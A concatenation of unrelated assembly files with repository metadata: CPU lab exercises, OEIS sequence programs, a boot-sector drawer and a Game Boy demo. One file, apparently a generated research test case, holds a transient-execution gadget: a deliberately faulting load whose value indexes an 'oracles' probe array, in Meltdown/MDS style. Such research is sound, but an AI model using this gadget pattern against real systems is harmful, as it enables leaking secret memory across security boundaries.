Oct22/3.asm
|
s10singh97/Microprocessor_Lab
|
0ff882a953a8068367363dc7c533470d60064cef
|
[
"Apache-2.0"
] | null | null | null |
Oct22/3.asm
|
s10singh97/Microprocessor_Lab
|
0ff882a953a8068367363dc7c533470d60064cef
|
[
"Apache-2.0"
] | null | null | null |
Oct22/3.asm
|
s10singh97/Microprocessor_Lab
|
0ff882a953a8068367363dc7c533470d60064cef
|
[
"Apache-2.0"
] | null | null | null |
;execute different set of instructions
lxi sp,2099h
lxi h,2090h
mvi c,0Fh
loop: mvi a,00h
mov m,a
inx h
dcr c
jnz loop
lxi b,0237h
lxi d,1242h
lxi h,4087h
push b
push d
push h
hlt
| 9.15
| 38
| 0.737705
|
baf00328b85913fb894dff81d8220c7c70d1f4e2
| 536
|
asm
|
Assembly
|
oeis/016/A016750.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/016/A016750.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/016/A016750.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A016750: a(n) = (2*n)^10.
; 0,1024,1048576,60466176,1073741824,10000000000,61917364224,289254654976,1099511627776,3570467226624,10240000000000,26559922791424,63403380965376,141167095653376,296196766695424,590490000000000,1125899906842624,2064377754059776,3656158440062976,6278211847988224,10485760000000000,17080198121677824,27197360938418176,42420747482776576,64925062108545024,97656250000000000,144555105949057024,210832519264920576,303305489096114176,430804206899405824,604661760000000000,839299365868340224
pow $0,10
mul $0,1024
| 89.333333
| 484
| 0.891791
|
4e5a35826931fbd6e7bbbb60b1aec1b54394a499
| 692
|
asm
|
Assembly
|
oeis/060/A060157.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/060/A060157.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/060/A060157.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A060157: Number of permutations of [n] with 3 sequences.
; Submitted by Christian Krause
; 0,10,58,236,836,2766,8814,27472,84472,257522,780770,2358708,7108908,21392278,64307926,193185944,580082144,1741295034,5225982282,15682141180,47054812180,141181213790,423577195838,1270798696416,3812530307016,11437859356546,34314114940594,102943418563652,308832403174652,926501504491302,2779513103408550,8338556490094888,25015703830023088,75047180209546058,225141678067591706,675425309080682124,2026276476997860324,6078830530505208814,18236493790538882062,54709485769663157360,164128466105082494360
mov $1,$0
add $1,1
seq $1,5173 ; Number of trees of subsets of an n-set.
sub $1,$0
mov $0,$1
sub $0,1
| 62.909091
| 497
| 0.849711
|
2c2837ce2cebb40b16e3bdd31bdea44d0bd7ee74
| 8,233
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_661.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_661.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_661.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xee53, %r12
nop
nop
nop
nop
xor %r10, %r10
mov (%r12), %rbx
nop
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_UC_ht+0x18301, %r10
add $54297, %rbp
movl $0x61626364, (%r10)
nop
add $27785, %r10
lea addresses_D_ht+0x1c1f3, %r11
nop
nop
nop
nop
sub %r12, %r12
and $0xffffffffffffffc0, %r11
movntdqa (%r11), %xmm3
vpextrq $0, %xmm3, %rbp
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_WC_ht+0x1b683, %r12
add %rax, %rax
mov (%r12), %r11w
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_D_ht+0xf0c7, %r10
nop
nop
nop
nop
xor $32147, %r14
movb $0x61, (%r10)
nop
nop
nop
nop
nop
lfence
lea addresses_normal_ht+0x17973, %r12
clflush (%r12)
nop
nop
nop
add %r10, %r10
mov (%r12), %r14w
inc %r14
lea addresses_WT_ht+0x7d3, %r11
nop
nop
nop
and $26416, %rbp
movups (%r11), %xmm2
vpextrq $0, %xmm2, %rax
dec %r10
lea addresses_normal_ht+0x75b6, %r12
sub $59657, %r14
movl $0x61626364, (%r12)
and %r11, %r11
lea addresses_WT_ht+0x1cee7, %rbp
nop
nop
nop
nop
dec %r14
mov (%rbp), %r12
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0x109f3, %rbx
add $50689, %r14
movw $0x6162, (%rbx)
nop
nop
nop
nop
add $6609, %r10
lea addresses_D_ht+0x14b53, %r14
nop
nop
nop
xor $14474, %rbp
movb $0x61, (%r14)
inc %r12
lea addresses_WT_ht+0xbf7b, %rsi
lea addresses_UC_ht+0x1773, %rdi
nop
sub $54143, %rax
mov $9, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $36982, %rax
lea addresses_D_ht+0x28f3, %rax
nop
sub %rbx, %rbx
mov $0x6162636465666768, %r11
movq %r11, %xmm2
vmovups %ymm2, (%rax)
cmp $35650, %r12
lea addresses_D_ht+0x16df3, %r11
xor $47522, %r10
movl $0x61626364, (%r11)
nop
nop
inc %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_PSE+0x8563, %r11
nop
nop
nop
nop
nop
and %rbx, %rbx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm4
movups %xmm4, (%r11)
nop
nop
nop
nop
nop
add $3011, %rcx
// Store
lea addresses_PSE+0x1be97, %rbp
nop
nop
nop
cmp %rdi, %rdi
mov $0x5152535455565758, %rbx
movq %rbx, (%rbp)
// Exception!!!
nop
nop
nop
mov (0), %r11
sub %rbx, %rbx
// Store
lea addresses_A+0xfdf3, %r11
nop
nop
nop
nop
nop
sub $731, %r8
mov $0x5152535455565758, %rbp
movq %rbp, %xmm3
vmovups %ymm3, (%r11)
nop
nop
nop
nop
nop
sub $12079, %r8
// Faulty Load
lea addresses_D+0x135f3, %rbp
nop
nop
nop
nop
cmp $27312, %rsi
vmovntdqa (%rbp), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rcx
lea oracles, %r11
and $0xff, %rcx
shlq $12, %rcx
mov (%r11,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'NT': True, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': True, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': True, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 31.304183
| 2,999
| 0.653346
|
58d3b49351315129a4a69012478a6102c0973a55
| 1,903
|
asm
|
Assembly
|
Lista_ASM/Q5.asm
|
maluwastaken/Infra_de_Software
|
2166d339805349f3adc9c6aaeeb00ec42eb84e2c
|
[
"MIT"
] | null | null | null |
Lista_ASM/Q5.asm
|
maluwastaken/Infra_de_Software
|
2166d339805349f3adc9c6aaeeb00ec42eb84e2c
|
[
"MIT"
] | null | null | null |
Lista_ASM/Q5.asm
|
maluwastaken/Infra_de_Software
|
2166d339805349f3adc9c6aaeeb00ec42eb84e2c
|
[
"MIT"
] | 1
|
2021-03-02T14:56:41.000Z
|
2021-03-02T14:56:41.000Z
|
org 0x7c00
jmp 0x0000:main
;30x15
var db 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 7, 7, 7, 7, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 14, 8, 1, 1, 1, 1, 1, 7, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 14, 14, 8, 1, 1, 1, 1, 1, 1, 1, 7, 14, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 14, 14, 14, 8, 1, 1, 1, 1, 1, 1, 1, 7, 14, 14, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 14, 7, 1, 1, 1, 1, 1, 1, 1, 7, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 7, 8, 8, 1, 8, 7, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 14, 14, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 14, 14, 14, 14, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 10, 10, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2
main:
xor ax, ax
mov ds, ax
mov es, ax
mov ah, 4FH ;prox 4 linha inicializa a tela grafica 320 x200
mov al, 02H
mov bx, 11BH ; 320 x 200
int 10h
mov si, var
mov cx, 0
mov dx, 0
mov ah, 0Ch
laco:
lodsb
int 10h
inc cx
cmp cx, 30
je compara_eh_quinze
jmp laco
done:
jmp $
compara_eh_quinze:
cmp dx, 14
je done
mov cx, 0
inc dx
jmp laco
times 510 - ($ - $$) db 0
dw 0xaa55
| 43.25
| 1,443
| 0.434577
|
93f940443a277fdd9af54af1d10b5b1d57c47f72
| 713
|
asm
|
Assembly
|
program/handle.asm
|
doowzs/BuggyOS
|
4138261de7b25bd13ab7d343f3492a4e26939ae3
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | 7
|
2019-01-02T15:30:10.000Z
|
2020-12-10T20:15:57.000Z
|
program/handle.asm
|
doowzs/BuggyOS
|
4138261de7b25bd13ab7d343f3492a4e26939ae3
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null |
program/handle.asm
|
doowzs/BuggyOS
|
4138261de7b25bd13ab7d343f3492a4e26939ae3
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | 4
|
2019-07-18T13:13:01.000Z
|
2020-12-14T02:41:34.000Z
|
handle:
#save return addr in stack
sw $ra, ($sp)
subi $sp, $sp, 0x4
#find the start of buffer
add $t0, $zero, $k1
#2 lines up
subi $t0, $t0, 0x118
subi $t0, $t0, 0x118
#omit '# '
addi $t0, $t0, 0x8
#set pram1 strcmp: buffer
addi $a0, $zero, $t0
##### cmd analyzers #####
### cmd #1: "hello" ###
#set pram2 strcmp: (cmd #1:)"hello"
addi $a1, $zero, 0x10002800
jal strcmp
#valid cmd is handled
bne $v0, $zero, _cmd_01_handle
### end ##
#<<< new cmd anayzer here
#recover return addr from stack
_handler_fin:
addi $sp, $sp, 0x4
lw $ra, ($sp)
jr $ra
##### cmd handlers #####
### cmd #1: "hello" ###
_cmd_01_handle:
addi $a0, $zero, 0x10002800
jal print
j _handler_fin
### end ###
#<<< new cmd handler here
| 15.5
| 35
| 0.621318
|
114cefb16e050ebf39e7b19e8bb8196adee81e08
| 135
|
asm
|
Assembly
|
Kernel/asm/mutex.asm
|
R0L02796/TP2_SO
|
3c6857fcdf6138cae3e35f921cc40e6f4bb17dd8
|
[
"BSD-3-Clause"
] | null | null | null |
Kernel/asm/mutex.asm
|
R0L02796/TP2_SO
|
3c6857fcdf6138cae3e35f921cc40e6f4bb17dd8
|
[
"BSD-3-Clause"
] | null | null | null |
Kernel/asm/mutex.asm
|
R0L02796/TP2_SO
|
3c6857fcdf6138cae3e35f921cc40e6f4bb17dd8
|
[
"BSD-3-Clause"
] | null | null | null |
GLOBAL _mutexAcquire
section .text
_mutexAcquire:
push rbp
mov rbp, rsp
mov eax, 1
xchg eax, [rdi]
mov rsp, rbp
pop rbp
ret
| 9.642857
| 20
| 0.696296
|
1153581b83466c0e71a514c1af1e2cc0291fe6fb
| 1,018
|
asm
|
Assembly
|
src/util/icon/wwrap.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/icon/wwrap.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/icon/wwrap.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
* Sprite wwrap
*
* Mode 4
* +|-----------------+
* -www wwww ww wwgg -
* | gg |
* |wwwww wwww ww gg |
* | gg |
* |www wwww ww wwgg |
* | gg |
* |wwww ww wwwwwwwwww|
* | |
* | gg |
* | |
* | gg |
* | |
* | gg |
* | |
* +|-----------------+
*
section sprite
xdef mes_wwrap
xref mes_zero
mes_wwrap
dc.w $0100,$0000
dc.w 18,14,0,0
dc.l mcs_wwrap-*
dc.l mes_zero-*
dc.l sp_wwrap-*
mcs_wwrap
dc.w $EFEF,$6F6C
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $FBFB,$DBD8
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $EFEF,$6F6C
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $F6F6,$FFFF
dc.w $C0C0,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0300
dc.w $0000,$0000
dc.w $0000,$0000
dc.w $0000,$0000
*
sp_wwrap
incbin 'win1_util_icon_wwrap_spr'
end
| 15.661538
| 34
| 0.532417
|
a1d729efd6eb7a1957472deee39cac59758df112
| 8,365
|
asm
|
Assembly
|
code/src/main.asm
|
sttng/merken-revision-2020
|
c58ead89f9e00d5aa0ed306a1b1b750635bac6a6
|
[
"MIT"
] | 31
|
2020-04-14T02:16:23.000Z
|
2022-01-12T19:55:18.000Z
|
code/src/main.asm
|
sttng/merken-revision-2020
|
c58ead89f9e00d5aa0ed306a1b1b750635bac6a6
|
[
"MIT"
] | null | null | null |
code/src/main.asm
|
sttng/merken-revision-2020
|
c58ead89f9e00d5aa0ed306a1b1b750635bac6a6
|
[
"MIT"
] | 2
|
2021-05-14T10:28:00.000Z
|
2021-12-05T01:40:59.000Z
|
include "macros.asm"
include "registers.asm"
include "memory.asm"
include "common.asm"
include "assets/chars.inc"
dummy_vblank_address equ $C000
; =======================
; INTERRUPTS
; =======================
section "VBlank", ROM0[$0040]
reti
section "LCDS", ROM0[$0048]
reti
section "Timer", ROM0[$0050]
reti
section "Serial", ROM0[$0058]
reti
section "Joypad", ROM0[$0060]
reti
section "EndInterrupts", ROM0[$0100]
nop
; =======================
jp entry_point
; =======================
; HEADER
; =======================
;; NINTENDO LOGO
db $CE,$ED,$66,$66
db $CC,$0D,$00,$0B
db $03,$73,$00,$83
db $00,$0C,$00,$0D
db $00,$08,$11,$1F
db $88,$89,$00,$0E
db $DC,$CC,$6E,$E6
db $DD,$DD,$D9,$99
db $BB,$BB,$67,$63
db $6E,$0E,$EC,$CC
db $DD,$DC,$99,$9F
db $BB,$B9,$33,$3E
;; TITLE
db "M","E","R","K"
db "E","N",$00,$00
db $00,$00,$00,$00
db $00,$00,$00
; GAMEBOY COLOR
db $00
;; MAKER
db $00,$00
;; MACHINE
db $00
;; CARTRIDGE TYPE
db $01
;; ROM SIZE
db $01
;; RAM SIZE
db $00
;; COUNTRY
db $01
;; GAMEBOY
db $00
;; ROM VERSION
db $00
;; NEGATIVE CHECK
db $67
;; CHECK SUM
db $00,$00
; =======================
section "EntryPoint", ROM0[$0150]
entry_point:
; =======================================
; **** DMG Firewall ****
; =======================================
; Only DMG cool kids can play this demo
; =======================================
; Check we're running on DMG-CPUs
; Accumulator should be $11 on CBG or AGB
cp $11
jr nz, .is_dmg
; =======================================
; jp not_dmg ; <-- Uncomment this to allow only DMG
xor a
jr .start
.is_dmg:
ld a, 1
.start:
ld [is_dmg],a ; Store a 1 or 0 to indicate if the system is DMG.
ld sp, STACK_TOP ; Set Stack Pointer
ld a, %11100100
ld [fade_color], a ; Set initial fade color to default gradient
call init_dma ; Load DMA subroutine to HRAM
call dma_transfer ; Initialize OAM to 0
mInitializeMusic ; Initialize Music
mSelectSong 0 ; Initialize Song
.demo_run:
call fx1
call fx3
call fx4
call fx2
call fx6
call fx7
call fx8
call fx9
call fx5 ;<-- The end
; =======================================
; =======================================
stall::
ld a, $FF
.w:
dec a
jr nz,.w
ret
stall2::
ld a, b
.w:
dec a
jr nz,.w
ret
not_dmg:
call init_dma
call dma_transfer
ld a, $FF
ld [BGP], a
ld a, %11000100
ld [OBJP0], a
mSetROMBank 0
mSafeVRAMMemcpy chars_data, $8010, chars_data_size
call fx_write_text
call dma_transfer
ld a, [LCDC]
set 1, a
ld [LCDC], a
xor a
xor a
ld [text_wave], a
ld [wave1_offset_idx], a
ld [offset_x], a
ld [offset_x2], a
ld [tmp], a
; TODO: show a nice little message
.loop:
mWaitVBlank
call fx_animate_text
call dma_transfer
jr .loop
fx_write_text:
ld de, dmg_str
ld hl, SPRITE0_Y
ld b, 20 ; X
ld c, 20 ; Y
.loop:
ld a, c
ld [hl+], a ; set Y
ld a, b
ld [hl+], a ; set X
ld a, [de]
cp $00
jr z, .clean_up
ld [hl+], a ; set ID
inc de
inc hl
ld a, b
add a, 13 ; X offset between char
ld b, a
jr .loop
.clean_up:
xor a
dec hl
ld [hl-], a
ld [hl], a
ret
fx_animate_text:
xor a
ld [text_anim], a
ld hl, SPRITE0_Y
ld a, [text_wave]
ld b, a
ld d, 100 ; origin y pos
ld e, (end_dmg_str-dmg_str-1); <- char count
ld a, [text_wave]
add a, 5
ld [text_wave], a
.loop:
push hl
ld a, b
ld h, HIGH(ease_out_bounce)
ld l, a
ld a, [hl]
pop hl
ld c, a
ld a, d
add a, c
ld [hl+], a
ld a, [hl]
dec a
ld [hl+], a
ld a, [hl]
cp $D0
jr nz, .cont_loop
dec hl
dec hl
xor a
ld [hl+], a
ld [hl+], a
.cont_loop:
inc hl
inc hl
ld a, b
add a, 10
ld b, a
dec e
ret z
jr .loop
section "DMG", ROM0
dmg_str: incbin "assets/dmg.str"
end_dmg_str:
section "SineWaveTable8", ROM0, ALIGN[8]
sine_wave_table8::
db $00,$00,$00,$00,$00,$00,$01,$01,$01,$01,$01,$02,$02,$02,$02,$02
db $03,$03,$03,$03,$03,$03,$04,$04,$04,$04,$04,$04,$05,$05,$05,$05
db $05,$05,$05,$06,$06,$06,$06,$06,$06,$06,$06,$06,$07,$07,$07,$07
db $07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07
db $07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07,$07
db $07,$07,$07,$07,$07,$06,$06,$06,$06,$06,$06,$06,$06,$06,$05,$05
db $05,$05,$05,$05,$05,$04,$04,$04,$04,$04,$04,$03,$03,$03,$03,$03
db $02,$02,$02,$02,$02,$02,$01,$01,$01,$01,$01,$00,$00,$00,$00,$00
db $00,$00,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FE,$FE,$FE,$FE,$FE,$FE
db $FD,$FD,$FD,$FD,$FD,$FC,$FC,$FC,$FC,$FC,$FC,$FB,$FB,$FB,$FB,$FB
db $FB,$FB,$FA,$FA,$FA,$FA,$FA,$FA,$FA,$FA,$FA,$F9,$F9,$F9,$F9,$F9
db $F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9
db $F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9,$F9
db $F9,$F9,$F9,$F9,$FA,$FA,$FA,$FA,$FA,$FA,$FA,$FA,$FA,$FB,$FB,$FB
db $FB,$FB,$FB,$FB,$FC,$FC,$FC,$FC,$FC,$FC,$FD,$FD,$FD,$FD,$FD,$FD
db $FE,$FE,$FE,$FE,$FE,$FF,$FF,$FF,$FF,$FF,$00,$00,$00,$00,$00,$00
sine_wave_table8_end::
section "BellCurve", ROM0, ALIGN[8]
bell_curve::
db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$01,$01
